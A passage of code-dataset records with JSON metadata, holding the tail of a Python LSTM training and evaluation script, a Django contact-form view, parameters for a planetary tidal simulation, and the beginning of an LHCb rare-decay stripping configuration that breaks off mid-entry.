'''\r\n for k in self.y_val:\r\n if ((265.5 - 93) * k + 93) >= 160:\r\n bb.append([1])\r\n else:\r\n bb.append([0])\r\n m = np.array(bb)\r\n logs['roc_auc_val'] = roc_auc_score(m, y_pre.flatten())\r\n '''\r\n\r\n\r\n #file.write(str(self.i)+' '+ str(self.costtime) + '\\r\\n')\r\n #costtime.to_excel('/root/xulun/second/costtime%0.2f.xlsx' % (t+i/100), index_label=['1'], index=True)\r\n logs['costtime'] = self.costtime\r\n m.append(self.costtime)\r\n print('time:{costtime}'.format(costtime=logs.get('costtime')))\r\n\r\n\r\n my = RocAucMetricCallback(validation_data=(valid_X, valid_y))\r\n\r\n earlyStopping = EarlyStopping(monitor='val_loss', min_delta=0.001, patience=20, verbose=1, mode='min')\r\n saveBestModel = ModelCheckpoint(best_weights_filepath, monitor='val_loss', verbose=0, save_best_only=True,\r\n mode='min', period=1)\r\n callbacks_list = [my,earlyStopping, saveBestModel]\r\n #####导入模型\r\n print('导入模型')\r\n model = Sequential()\r\n model.add(LSTM(256, input_shape=(t, train_X.shape[2]), return_sequences=False,dropout=0.5)) # 神经元数修改\r\n #model.add(LSTM(128, input_shape=(t, train_X.shape[2])))\r\n model.add(Dense(1))\r\n\r\n #sgd = optimizers.SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\r\n model.compile(loss='mse', optimizer='adam')\r\n print('开始训练')\r\n # fit network\r\n begintime = time.time()\r\n #file = open('/root/xulun/316/20180514/data/costtime%0.2f.txt' % (t ), 'w')\r\n start_time = time.time()\r\n history = model.fit(train_X, train_y, epochs=1,batch_size=512, validation_data=(valid_X, valid_y), verbose=2,\r\n shuffle=False, callbacks=callbacks_list) # 训练周期和批量\r\n #file.close()\r\n end_time = time.time()\r\n print('训练时间为:',end_time - start_time)\r\n file = open('/root/xulun/316/20180514/data/2loss%0.2f.txt' % (t ), 'w')\r\n file.write('loss:' + str(history.history['loss']) + ' ' + 'valloss:' + str(history.history['val_loss']))\r\n file.close()\r\n endtime = time.time()\r\n time1 = []\r\n time1.append(endtime - begintime)\r\n for i in model.layers:\r\n print('模型参数为:',i.name,i.count_params())\r\n alltime = pd.DataFrame()\r\n alltime = alltime.append(time1)\r\n alltime.to_excel('/root/xulun/316/20180514/data/2traintime%0.2f.xlsx' % (t), index_label=['1'], index=True)\r\n ########################################故障预测\r\n # print(\"lstm\", lstm)\r\n print(\"over\")\r\n #model.load_weights(best_weights_filepath)\r\n test_start_time = time.time()\r\n predict_y1 = model.predict(test_X1)\r\n # predict_y2 = model.predict(no_X1)\r\n test_end_time = time.time()\r\n test_time = test_end_time - test_start_time\r\n print('测试时间为:',test_time )\r\n test_time = pd.DataFrame([test_time])\r\n test_time.to_excel('/root/xulun/316/20180514/data/2testtime%0.2f.xlsx' % (t), index_label=['1'], index=True)\r\n # print(predict_y1.shape)\r\n # y =np.array(predict_y1)\r\n # #y= y.reshape(len(y),t)\r\n # print(y.shape)\r\n # y = pd.DataFrame(y)\r\n # # predict_y2 = pd.DataFrame(predict_y2)\r\n # #y.columns = ['y','0']\r\n # y.to_excel('/root/xulun/316/20180514/data/predict_y%0.2f.xlsx' % (t ), index_label=['1'], index=True)\r\n # # predict_y2.columns = ['y']\r\n # # predict_y2.to_excel('/root/xulun/predict_y2 %0.2f.xlsx' % (t + i / 100), index_label=['1'], index=True)\r\n # print(\"存储成功!\")\r\n\r\n c1 = []\r\n c2 = []\r\n d1 = []\r\n d2 = []\r\n # 103.5x+162\r\n # 172.5x+93\r\n np.set_printoptions(threshold=np.inf)\r\n #test_y1 = np.array(test_y1)\r\n #predict_y1 = np.array(predict_y1)\r\n\r\n # d2 = (265.5 - 93) * predict_y2 + 93\r\n #print('this is 故障预测1', predict_y1[0])\r\n # y = (265.5 - 93) * trainvalue['18S04Ijmb'] + 93\r\n predict_y1 = np.array(predict_y1)\r\n #predict_y1 = predict_y1.reshape(len(predict_y1), t)\r\n print('predict_y1.shape',predict_y1.shape)\r\n # predict_y1 = pd.DataFrame(predict_y1)\r\n # predict_y1 = np.array(predict_y1)\r\n test_y1 = np.array(test_y1)\r\n #test_y1 = test_y1.reshape(len(test_y1), t)\r\n test_y1 = pd.DataFrame(test_y1)\r\n c1 = (ymax - ymin) * test_y1 + ymin\r\n # c2 = (265.5 - 93) * no_y1 + 93\r\n # print('this is 故障实际1', test_y1)\r\n d1 = (ymax - ymin) * predict_y1 + ymin\r\n\r\n train_y = np.array(train_y)\r\n #train_y = train_y.reshape(len(train_y),t)\r\n #train_y = pd.DataFrame(train_y)\r\n\r\n # test_y1.to_excel('/root/xulun/316/20180514/data/test_y%0.2f.xlsx' % (t), index_label=['1'], index=True)\r\n test_y1 = np.array(test_y1)\r\n # train_y = np.array(train_y)\r\n\r\n error1 = []\r\n maerror1 = []\r\n\r\n for m in range(len(test_y1) - 1):\r\n error1.append(test_y1[m] - predict_y1[m])\r\n maerror1.append(abs(test_y1[m] - predict_y1[m]))\r\n squaredError1 = []\r\n for val in error1:\r\n squaredError1.append(val * val) # target-prediction之差平方\r\n rmse = sqrt(sum(squaredError1) / len(squaredError1))\r\n mae = (sum(maerror1) / len(maerror1))\r\n print(\"RMSE1 = \", rmse) # 均方根误差RMSE\r\n print(\"MAE1=\", mae)\r\n\r\n # file = open('/root/xulun/316/20180514/data/mae and rmse%0.2f.txt' % (t), 'w')\r\n # file.write('rmse:' +str(rmse) + ' ' +'mae:'+str(mae))\r\n # file.close()\r\n # # print(\"第 %f 轮已经结束\" % (t + i 100))\r\n # #########################################正常预测\r\n # # print('emergence data predict end')\r\n # plt.plot(train_y[:], label='train label')\r\n # plt.legend()\r\n # plt.savefig('/root/xulun/316/20180514/data/data%0.2f.png' % (t ))\r\n # plt.show()\r\n # plt.plot(d1[:], label='predict')\r\n # plt.plot(c1[:], label='actual')\r\n # plt.legend(loc=\"lower left\")\r\n # plt.legend()\r\n # plt.savefig('/root/xulun/316/20180514/data/predictbig%0.2f.png' % (t ))\r\n # plt.show()\r\n # plt.plot(predict_y1, label='predict')\r\n # plt.plot(test_y1, label='label')\r\n # plt.legend(loc=\"lower left\")\r\n # plt.legend()\r\n # plt.savefig('/root/xulun/316/20180514/data/predictsmall%0.2f.png' % (t ))\r\n # plt.show()\r\n #\r\n # plt.plot(history.history['loss'], '--m', label='train', )\r\n # plt.plot(history.history['val_loss'], ':b', label='test')\r\n # plt.legend()\r\n # plt.savefig('/root/xulun/316/20180514/data/loss%0.2f.png' % (t ))\r\n # plt.show()\r\n # print('all data predict end')\r\n '''\r\n b2 = []\r\n for k in c1:\r\n if k >= 160:\r\n b2.append([1])\r\n else:\r\n b2.append([0])\r\n t1 = np.array(b2)\r\n auc1 = roc_auc_score(t1, predict_y1)\r\n print(\"使用这个模型预测的准确率为\", auc1)\r\n fpr, tpr, _ = metrics.roc_curve(t1, predict_y1)\r\n plt.subplots(figsize=(7, 5.5))\r\n plt.plot(fpr, tpr, label='ROC curve (area = %0.2f)' % auc1)\r\n plt.plot([0, 1], [0, 1], color='navy', lw=2)\r\n plt.xlim([0.0, 1.0])\r\n plt.ylim([0.0, 1.05])\r\n plt.xlabel('False Positive Rate')\r\n plt.ylabel('True Positive Rate')\r\n plt.title('ROC Curve')\r\n plt.legend(loc=\"lower right\")\r\n plt.legend()\r\n plt.savefig('/root/xulun/roc %0.2f.png' % (t + i / 100))\r\n plt.show()\r\n auc1 = roc_auc_score(t1, predict_y1)\r\n print(\"使用这个模型预测的准确率为\", auc1)\r\n\r\n '''\r\n print(\"第 %f 轮已经结束\" % (t ))\r\n\r\n###############roc曲线\r\n\r\n############0\r\n###全部特征,只使用dropout和l2优化解决过拟合,之前代码不全了\r\n############8\r\n\r\n","sub_path":"fucku2.py","file_name":"fucku2.py","file_ext":"py","file_size_in_byte":31006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"192037843","text":"from .forms import ContactForm\nfrom django.views.generic.edit import FormView\nfrom django.urls import reverse_lazy\nfrom django.core.mail import EmailMessage, send_mail\n\n\nclass ContactView(FormView):\n template_name = 'contact/contact.html'\n form_class = ContactForm\n\n def form_valid(self, form):\n # This method is called when valid form data has been POSTed.\n # It should return an HttpResponse.\n\n message = '{name} / {email} said: \\n{subject}\\n\\n{content}'.format(\n name=form.cleaned_data.get('name'),\n email=form.cleaned_data.get('email'),\n subject=form.cleaned_data.get('subject'),\n content=form.cleaned_data.get('content') \n )\n\n email = EmailMessage(\n form.cleaned_data.get('subject'),\n message,\n 'WebFormContactSantMarys@gmail.com',\n ['reddevil_cero@hotmail.com'],\n headers={'Reply-To': form.cleaned_data.get('email')}\n )\n email.send()\n return super(ContactView, self).form_valid(form)\n\n def get_success_url(self):\n return reverse_lazy('contact')+'?ok'\n","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"499684170","text":"\n############################################################\n# Parameters file for the main script\n# @bayronportilla-2016\n\n\n############################################################\n# Bulk properties of the system\n\nname = 'Gliese581d' # Name of the planet\nM_s = 0.31 # Stellar mass, in solar masses \nM_p = 7.10 # Planetary mass, in earth masses \nR = 1.70 # Planetary radius, in earth radius\nBmAC = 5.0e-5 # Triaxiality, dimensionless\nrigidity = 8.0e10 # Unrelaxed rigidity, in Pascals\ntau_M = 50.0 # Maxwell time, in years\nalpha = 0.2 # Andrade's exponent, dimensionless \ne = 0.27 # Orbital eccentricity, dimensionless\na = 0.218 # Semimajor axis, in astronomical units\nP = 67.0 # Orbital period, in days\nE0 = 0.0 # Initial eccentric anomaly, in degress\n\n\n\n############################################################\n# Integration parameters\n\nt_ini = 0.0 # Starting time for simulation, in years\nt_end = 5.0 # Ending time of the simulation, in years\nN = 100.0 # (Default) Number of lines to write in the output file \n\n\n\n############################################################\n# Initial conditions\n\ntheta_ini = 100.0 # Initial sidereal angle, in degrees\np = 2.51 # Initial resonance order, p = Omega_ini/n \na_ini = a # Initial semimajor axis, in astronomical units\ne_ini = e # Initial orbital eccentricity, dimensionless\n","sub_path":"fast/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"53857115","text":"#\n# Rare Decay Lines\n#\n# DiMuon stream\n\nfrom GaudiKernel.SystemOfUnits import *\n\nBd2KstarMuMu = {\n 'BUILDERTYPE' : 'StrippingBdToKstarMuMuConf',\n 'CONFIG' : { \n 'UseNoPIDsHadrons' : True,\n 'Prescale_BdToKstarMuMu' : 1.0,\n 'Postscale_BdToKstarMuMu' : 1.0,\n 'Prescale_BdToKstarMuMuSS' : 1.0,\n 'Postscale_BdToKstarMuMuSS' : 1.0,\n 'Prescale_BuToKMuMu' : 1.0,\n 'Postscale_BuToKMuMu' : 1.0,\n 'Prescale_BuToKMuMuSS' : 1.0,\n 'Postscale_BuToKMuMuSS' : 1.0,\n 'B_Comb_MassLow' : 4600.0,\n 'B_Comb_MassHigh' : 6000.0,\n 'B_MassLow' : 4850.0,\n 'B_MassHigh' : 5780.0,\n 'B_VertexCHI2' : 6.0,\n 'B_IPCHI2' : 16.0,\n 'B_DIRA' : 0.9999,\n 'B_FlightCHI2' : 121.0,\n 'B_Dau_MaxIPCHI2' : 9.0, \n 'Dau_VertexCHI2' : 12.0,\n 'Dau_DIRA' : -0.9,\n 'Kstar_Comb_MassLow' : 550.0,\n 'Kstar_Comb_MassHigh' : 2200.0,\n 'Kstar_MassLow' : 600.0,\n 'Kstar_MassHigh' : 2000.0,\n 'Kstar_MinIPCHI2' : 0.0,\n 'Kstar_FlightChi2' : 9.0, \n 'Kstar_Dau_MaxIPCHI2' : 9.0, \n 'Dimu_FlightChi2' : 9.0, \n 'Dimu_Dau_MaxIPCHI2' : 9.0, \n 'Track_CHI2nDOF' : 5.0,\n 'Hadron_MinIPCHI2' : 9.0, \n 'Muon_MinIPCHI2' : 9.0,\n 'Muon_IsMuon' : False,\n 'MuonNoPIDs_PIDmu' : 0.0\n },\n 'WGs' : [ 'RD' ] ,\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n\nB2XMuMu = {\n 'BUILDERTYPE' : 'B2XMuMuConf',\n 'CONFIG' : {\n 'BVXCHI2NDOF' : 8 # dimensionless\n , 'BIPCHI2' : 9.0 # dimensionless\n , 'BDIRA' : 0.999968 # dimensionless\n , 'BFDCHI2' : 100.0 # dimensionless\n , 'KpiMINIPCHI2' : 9.0 # dimensionless\n , 'KpiTRACKCHI2' : 4.0 # dimensionless \n , 'KpiVXCHI2NDOF' : 9.0 # dimensionless\n , 'MuonMINIPCHI2' : 16.0 # dimensionless\n , 'MuonTRACKCHI2' : 4.0 # dimensionless\n , 'MuonPID' : 0.0 # dimensionless\n , 'DimuonVXCHI2NDOF' : 9.0 # dimensionless\n , 'DimuonUPPERMASS' : 5050.0 # MeV\n , 'Pi0MINPT' : 800.0 # MeV\n , 'DplusLOWERMASS' : 1600.0 # MeV\n , 'DplusUPPERMASS' : 2300.0 # MeV \n , 'KstarplusWINDOW' : 300.0 # MeV \n , 'KsWINDOW' : 30.0 # MeV \n , 'LambdaWINDOW' : 30.0 # MeV \n , 'LongLivedPT' : 250.0 # MeV \n , 'LongLivedTau' : 2 # ps \n , 'K1_Comb_MassLow' : 720.0\n , 'K1_Comb_MassHigh' : 2450.0\n , 'K1_MassLow' : 750.0\n , 'K1_MassHigh' : 2400.0\n , 'K1_MinIPCHI2' : 4.0\n , 'K1_FlightChi2' : 25.0\n , 'K1_Dau_MaxIPCHI2' : 9.0,\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n# Bs2MuMuPhi\n# P. Schaak\nBs2MuMuPhi = {\n 'BUILDERTYPE' : 'Bs2MuMuPhiConf' ,\n 'CONFIG' : {\n 'BsIPCHI2' : 9.0 # dimensionless\n , 'BsLT' : 0.0002 # ns\n , 'BsVertexCHI2' : 40.0 # dimensionless\n , 'KaonPIDK' : 0 # dimensionless\n , 'KaonMINIPCHI2' : 9.0 # dimensionless\n , 'MuonMINIPCHI2' : 9.0 # dimensionless\n },\n 'WGs' : [ 'RD' ] ,\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n\n# Same-sign searches\n# S. Redford & Wenbin\n\nB2XMuMuSS = {\n 'BUILDERTYPE' : 'B2XMuMuSSConf',\n 'CONFIG' : {\n 'MuonP' : 3000. , #MeV\n 'MuonPT' : 500. , #MeV\n 'MuonMINIPCHI2' : 5 , #adminensional\n 'PionP' : 2000. , #MeV\n 'PionPT' : 500. , #MeV\n 'PionMINIPCHI2' : 5 , #adminensional\n 'KaonP' : 2000. , #MeV\n 'KaonPT' : 500. , #MeV\n 'KaonMINIPCHI2' : 5 , #adminensional\n 'DimuonMass' : 0. , #MeV\n 'BVCHI2DOF' : 7 , #adminensional \n 'BDIRA' : 0.9998 , #adimensional\n 'BIPCHI2' : 30 , #adimensional\n 'BMassWin' : 400. , #MeV, mass window\n 'B2PiMuMuOSLinePrescale' : 1 ,\n 'B2PiMuMuOSLinePostscale' : 1 ,\n 'B2PiMuMuSSLinePrescale' : 1 ,\n 'B2PiMuMuSSLinePostscale' : 1 ,\n 'B2KMuMuOSLinePrescale' : 1 ,\n 'B2KMuMuOSLinePostscale' : 1 ,\n 'B2KMuMuSSLinePrescale' : 1 ,\n 'B2KMuMuSSLinePostscale' : 1\n },\n 'WGs' : [ 'RD' ] ,\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n# HyperCP lines\n# Vanya + Andrei\n\nHyperCP = {\n 'BUILDERTYPE' : 'StrippingHyperCPXConf',\n 'CONFIG' : {\n 'ProtonCuts' : ' ( TRCHI2DOF < 5 ) & ( 0 < PIDp - PIDpi ) & ( BPVIPCHI2() > 12 ) ' ,\n 'MuonCuts' : ' ( TRCHI2DOF < 5 ) & ISMUON & ( BPVIPCHI2() > 12 ) ' , \n 'PionCuts' : ' ( TRCHI2DOF < 5 ) & ( BPVIPCHI2() > 12 ) ' ,\n 'MuonCuts_forTau23Mu' : ' ( PT > 300 * MeV ) & ( TRCHI2DOF < 5 ) & ISMUON & ( BPVIPCHI2() > 9 ) ' , \n 'PionCuts_forTau23Mu' : ' ( PT > 300 * MeV ) & ( TRCHI2DOF < 5 ) & ( BPVIPCHI2() > 9 ) ' ,\n #\n 'SigmaCTau' : 5 * mm ,\n 'SigmaMass' : 250 * MeV ,\n #\n 'DsCTau' : 200 * micrometer ,\n 'Ds23PiMass' : 80 * MeV ,\n 'Ds2PhiPiMass' : 250 * MeV,\n #\n 'DplusCTau' : 200 * micrometer ,\n 'DplusMass' : 250 * MeV ,\n #\n # ``Global Event Cuts''\n #\n 'PrimaryVertices' : True ,\n #\n # Technicalities:\n #\n 'Preambulo' : [\n # shortcut for chi2 of vertex fit\n 'chi2vx = VFASPF(VCHI2) ' ,\n # shortcut for the c*tau\n \"from GaudiKernel.PhysicalConstants import c_light\" ,\n ## use the embedded cut for chi2(LifetimeFit)<9\n \"ctau = BPVLTIME ( 9 ) * c_light \" ,\n \"ctau_forDs = BPVLTIME ( 225 ) * c_light \" ,\n ## phi(1020) mass-window\n \"phi = in_range ( 920 * MeV , AM23 , 1120 * MeV )\"\n ] ,\n #\n # Prescales\n #\n 'SigmaPrescale' : 1.0 ,\n 'DplusPrescale' : 1.0 ,\n 'DsPrescale' : 1.0 ,\n 'Ds3PiPrescale' : 0.2\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n# Same-sign searches\n# Wenbin\n\nB2SameChargeMuon = {\n 'BUILDERTYPE' : 'StrippingB2SameChargeMuonConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1.\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n\n# Bu2LLK ( B+ -> ee K and mu mu K )\n# P. Koppenburg\n\nBu2LLK = {\n 'BUILDERTYPE' : 'Bu2LLKConf',\n 'CONFIG' : {\n 'BFlightCHI2' : 100 # adimentional\n , 'BDIRA' : 0.9995 # adimentional TIGHTENED\n , 'BIPCHI2' : 25 # adimentional \n , 'BVertexCHI2' : 16 # adimentional\n , 'DiLeptonPT' : 0 # MeV (not used)\n , 'DiLeptonFDCHI2' : 16 # adimentional\n , 'DiLeptonIPCHI2' : 9 # adimentional\n , 'LeptonIPCHI2' : 16 # adimentional TIGHTENED\n , 'LeptonPT' : 800 # MeV \n , 'KaonIPCHI2' : 16 # adimentional TIGHTENED\n , 'KaonPT' : 800 # MeV LOOSENED\n , 'UpperMass' : 5500 # MeV (Higher bound of signal box)\n , 'Bu2eeKLinePrescale' : 1\n , 'Bu2eeKLinePostscale' : 1\n , 'Bu2mmKLinePrescale' : 1\n , 'Bu2mmKLinePostscale' : 1\n },\n 'WGs' : [ 'RD' ] ,\n 'STREAMS' : ['Dimuon']\n #{ 'Dimuon' : [ 'StrippingBu2LLK_mmLine' ] , 'Dielectron' : [ 'StrippingBu2LLK_eeLine' ] }\n }\n\n# B2MuMuMuMuLines\n# J. Albrecht\n\nB2MuMuMuMuLines = {\n 'BUILDERTYPE' : 'B2MuMuMuMuLinesConf',\n 'CONFIG' : {\n 'B2MuMuMuMuLinePrescale' : 1,\n 'B2MuMuMuMuLinePostscale' : 1,\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n\n# Stripping TriMuons\n# Vanya\n\nTriMuon = {\n 'BUILDERTYPE' : 'StrippingTriMuonsConf',\n 'CONFIG' : {\n 'GoodMuons' : \" ( PT > 300 * MeV ) & ( TRCHI2DOF < 5 ) & ( BPVIPCHI2 () > 6 ) \" ,\n 'GoodMuonsForBc' : \" ( BPVIPCHI2 () > 9 ) \" ,\n 'TightMuons' : \" ( PT > 1.9 * GeV ) & ( BPVIPCHI2 () > 25 ) \" ,\n #\n # Trigger\n #\n 'HLT' : None , \n #\n # Prescale\n #\n '3mu-Prescale' : 1.00 ,\n 'Bc-Prescale' : 1.00 ,\n 'Tau-Prescale' : 1.00 ,\n #\n # Technicalities:\n #\n 'Preambulo' : [\n ## shortcut for chi2 of vertex fit\n 'chi2vx = VFASPF(VCHI2) ' ,\n ## shortcut for the c*tau\n \"from GaudiKernel.PhysicalConstants import c_light\" ,\n \"ctau = BPVLTIME ( ) * c_light \" ,\n \"ctauBc = PDGM('B_c+') / M * BPVLTIME ( ) * c_light \" \n ]\n },\n 'WGs' : [ 'RD' ] ,\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n\n\n# Lines for phi mu mu / f0 mu mu\n# Liming Zhang\n\nBs2PhiMuMu = {\n 'BUILDERTYPE' : 'Bs2PhiMuMuLinesConf',\n 'WGs' : ['RD'],\n 'STREAMS' : ['Dimuon'],\n 'CONFIG' : {\n \"MINIPCHI2\" : 4.00 # adimensiional\n ,\"TRCHI2\" : 10.0 # adimensiional\n ,\"KaonPIDK\" : 1e-10 # adimensiional\n ,\"PhiPT\" : 100 # MeV\n ,\"MuonMINIPCHI2\" : 2.25 # adimensiional\n ,\"MuonPIDmu\" : -5.0 # adimensiional\n ,\"MuonTRCHI2\" : 10.0 # adimensiional\n ,\"BsMassWin\" : 250.0 # MeV\n ,\"BsVCHI2DOF\" : 8.0 # adimensiional\n ,\"BsDIRA\" : 0.9993 # adimensiional\n ,\"BsFDCHI2\" : 25.0 # adimensiional\n ,\"PionPIDK\" : 10.0 # adimensiional\n ,\"f0MassWin\" : 200.0 # MeV\n ,\"VCHI2\" : 10.0 # adimensiional\n ,\"BsIPCHI2\" : 36.0 # adimensiional\n ,\"DocaChi2Max\" : 20 #mm\n }\n }\n\n\nBs2MuMuLines = {\n 'BUILDERTYPE' : 'Bs2MuMuLinesConf',\n 'CONFIG' : {\n 'DefaultLinePrescale' : 1,\n 'DefaultLinePostscale' : 1,\n 'Bs2mmWideLinePrescale' : 1,\n 'Bs2mmWideLinePostscale' : 1,\n 'LooseLinePrescale' : 0.02,\n 'LooseLinePostscale' : 1,\n 'BuPrescale' : 1,\n 'BuPostscale' : 1,\n 'BsPrescale' : 1,\n 'BsPostscale' : 1,\n 'BdPrescale' : 1,\n 'BdPostscale' : 1,\n 'JPsiLinePrescale' : 1,\n 'JPsiLinePostscale' : 1,\n 'JPsiLooseLinePrescale' : 0.1,\n 'JPsiLooseLinePostscale' : 1,\n 'JPsiPromptLinePrescale' : 0.005,\n 'JPsiPromptLinePostscale': 1,\n 'MuIPChi2_loose' : 9,\n 'MuTrChi2_loose' : 10,\n 'BIPChi2_loose' : 64,\n 'BFDChi2_loose' : 100\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n# Diego + Xabier\n\nKS02MuMu = {\n 'BUILDERTYPE' : 'K0s2MuMuLinesConf',\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ],\n 'CONFIG' : {\n 'NoMuIDLinePrescale' : 1e-03,\n 'NoMuIDLinePostscale' : 1,\n 'K0s2mmLinePrescale' : 1,\n 'K0s2mmLinePostscale' : 1\n }\n}\n\nTau2PMuMu = {\n 'BUILDERTYPE' : 'StrippingTau2PMuMuConf',\n 'STREAMS' : ['Dimuon'],\n 'WGs' : [ 'RD' ] ,\n 'CONFIG' : {\n #\n # Selection of basic muons and protons\n #\n 'GoodMuons' : \" ( PT > 300 * MeV ) & ( TRCHI2DOF < 3 ) & ( PIDmu > -5 ) & ( (PIDmu - PIDK) > 0 )\" ,\n 'GoodProtons' : \" ( PT > 300 * MeV ) & ( TRCHI2DOF < 3 )\" ,\n #\n # Prescale\n #\n 'pmumu-Prescale' : 1.00 ,\n #\n # Technicalities:\n #\n 'Preambulo' : [\n ## shortcut for chi2 of vertex fit\n 'chi2vx = VFASPF(VCHI2) ' ,\n ## shortcut for the c*tau\n \"from GaudiKernel.PhysicalConstants import c_light\" ,\n \"ctau = BPVLTIME ( ) * c_light \" \n ]\n #\n }\n }\n\nTau23Mu = {\n 'BUILDERTYPE' : 'Tau23MuLinesConf',\n 'STREAMS' : ['Dimuon'],\n 'WGs' : ['RD'],\n 'CONFIG' : {\n 'TauPrescale' :1,\n 'TauPostscale' :1,\n 'Ds23PiTISPrescale' :0.01,\n 'Ds23PiTISPostscale' :1,\n 'Ds23PiPrescale' :0.005,\n 'Ds23PiPostscale' :1,\n 'Ds2PhiPiPrescale' :1,\n 'Ds2PhiPiPostscale' :1, \n 'Tau25Prescale' :1,\n 'Tau25Postscale' :1 \n }\n }\n\n\nLFVLines = {\n 'BUILDERTYPE' : 'LFVLinesConf' ,\n 'STREAMS' : [ 'Dimuon' ],\n 'WGs' : [ 'RD' ],\n 'CONFIG' : {\n 'Postscale' : 1,\n 'TauPrescale' : 1,\n 'Tau2MuMuePrescale' : 1,\n 'B2eMuPrescale' : 1,\n 'B2eePrescale' : 1,\n 'B2heMuPrescale' : 1 \n }\n }\n\n# J. Albrecht\n# Searches for highly displaced dimuons\nVeryDetachedJpsi = {\n 'BUILDERTYPE' : 'VDetJPsiLinesConf',\n 'STREAMS' : ['Dimuon'],\n 'WGs' : ['RD'],\n 'CONFIG' : {\n 'VDetJPsiLinePrescale' : 1,\n 'VDetJPsiLinePostscale' : 1,\n }\n }\n\n\nInflaton2MuMu = {\n 'BUILDERTYPE' : 'StrippingInflaton2MuMuConf' ,\n 'STREAMS' : [ 'Dimuon' ],\n 'WGs' : [ 'RD' ] ,\n 'CONFIG' : {\n 'Inflaton2MuMuLongPrescale' : 1,\n 'Inflaton2MuMuDownstreamPrescale' : 1,\n 'Inflaton2MuMuLongPostscale' : 1,\n 'Inflaton2MuMuDownstreamPostscale' : 1,\n 'Bu2InflatonKPrescale' : 1,\n 'Bu2InflatonKPostscale' : 1,\n 'Bs2InflatonPhiPrescale' : 1,\n 'Bs2InflatonPhiPostscale' : 1,\n 'Bd2InflatonKstPrescale' : 1,\n 'Bd2InflatonKstPostscale' : 1\n }\n }\n\n\nBuToK1MuMu = {\n 'BUILDERTYPE' : 'StrippingBuToK1MuMuConf' ,\n 'STREAMS' : [ 'Dimuon' ],\n 'WGs' : [ 'RD' ],\n 'CONFIG' : {\n 'UseNoPIDsHadrons' : True,\n 'Prescale_BuToK1MuMu' : 1.0,\n 'Postscale_BuToK1MuMu' : 1.0,\n 'Prescale_BuToK1MuMuSS' : 1.0,\n 'Postscale_BuToK1MuMuSS' : 1.0,\n 'B_Comb_MassLow' : 4600.0,\n 'B_Comb_MassHigh' : 6000.0,\n 'B_MassLow' : 4850.0,\n 'B_MassHigh' : 5780.0,\n 'B_VertexCHI2' : 6.0,\n 'B_IPCHI2' : 16.0,\n 'B_DIRA' : 0.014,\n 'B_FlightCHI2' : 121.0,\n 'B_Dau_MaxIPCHI2' : 9.0,\n 'Dau_VertexCHI2' : 12.0,\n 'Dau_DIRA' : -0.9,\n 'K1_Comb_MassLow' : 720.0,\n 'K1_Comb_MassHigh' : 2450.0,\n 'K1_MassLow' : 750.0,\n 'K1_MassHigh' : 2400.0,\n 'K1_MinIPCHI2' : 4.0,\n 'K1_FlightChi2' : 25.0,\n 'K1_Dau_MaxIPCHI2' : 9.0,\n 'Dimu_FlightChi2' : 81.0,\n 'Dimu_Dau_MaxIPCHI2' : 9.0,\n 'Track_CHI2nDOF' : 5.0,\n 'Hadron_MinIPCHI2' : 9.0,\n 'Muon_MinIPCHI2' : 9.0,\n 'Muon_IsMuon' : False,\n 'MuonNoPIDs_PIDmu' : 0.0\n }\n }\n\n\nZ02TauTauProng = {\n 'BUILDERTYPE' : 'Z02TauTauProngConf',\n 'CONFIG' : {\n 'Z2TauTau_Prong_LinePrescale' : 1.0,\n 'Z2TauTau_Prong_LinePostscale' : 1.0,\n 'TAU_MASS_LOW' : '600.0', # MeV/c2\n 'TAU_MASS_HIGH' : '1600.0', # MeV/c2\n 'Z_MASS_LOW' : '45000.0', # MeV/c2\n 'PT_HAD_MIN' : '1000', # MeV/c\n 'TRACKCHI2_HAD_MAX' : '10', # dl\n 'PT_TAU_MIN' : '8000', # MeV/c\n 'VCHI2_TAU_MAX' : '20' # dl\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'EW' ]\n }\n\n# includes Bs -> mu mu gamma\n\nB2MuMuX = {\n 'BUILDERTYPE' : 'B2MuMuXConf' ,\n 'STREAMS' : [ 'Dimuon' ],\n 'WGs' : [ 'RD' ] ,\n 'CONFIG' : {\n 'MuonsLoose': {\n 'ISMUON' : True,\n 'TRCHI2DOF_MAX' : 5,\n 'MIPCHI2DV_MIN' : 4,\n 'InAccMuon' : True\n },\n 'MuonsNoPid': {\n 'ISMUON' : False,\n 'TRCHI2DOF_MAX' : 5,\n 'MIPCHI2DV_MIN' : 4,\n 'InAccMuon' : True\n },\n 'DiMuons': {\n 'AMAXDOCA_MAX' : '0.5*mm',\n 'ASUMPT_MIN' : '1000*MeV',\n 'VCHI2DOF_MAX' : 16,\n 'BPVVDCHI2_MIN' : 16,\n 'BPVDIRA_MIN' : 0.0\n },\n 'DiMuonsLowM': {\n 'AMAXDOCA_MAX' : '0.5*mm',\n 'ASUMPT_MIN' : '1000*MeV',\n 'VCHI2DOF_MAX' : 16,\n 'BPVVDCHI2_MIN' : 16,\n 'BPVDIRA_MIN' : 0.0\n },\n 'DiMuonsHighM': {\n 'AMAXDOCA_MAX' : '0.5*mm',\n 'ASUMPT_MIN' : '1000*MeV',\n 'VCHI2DOF_MAX' : 16,\n 'BPVVDCHI2_MIN' : 0,\n 'BPVDIRA_MIN' : 0\n },\n 'DiMuonsCorrM': {\n 'AMAXDOCA_MAX' : '0.3*mm',\n 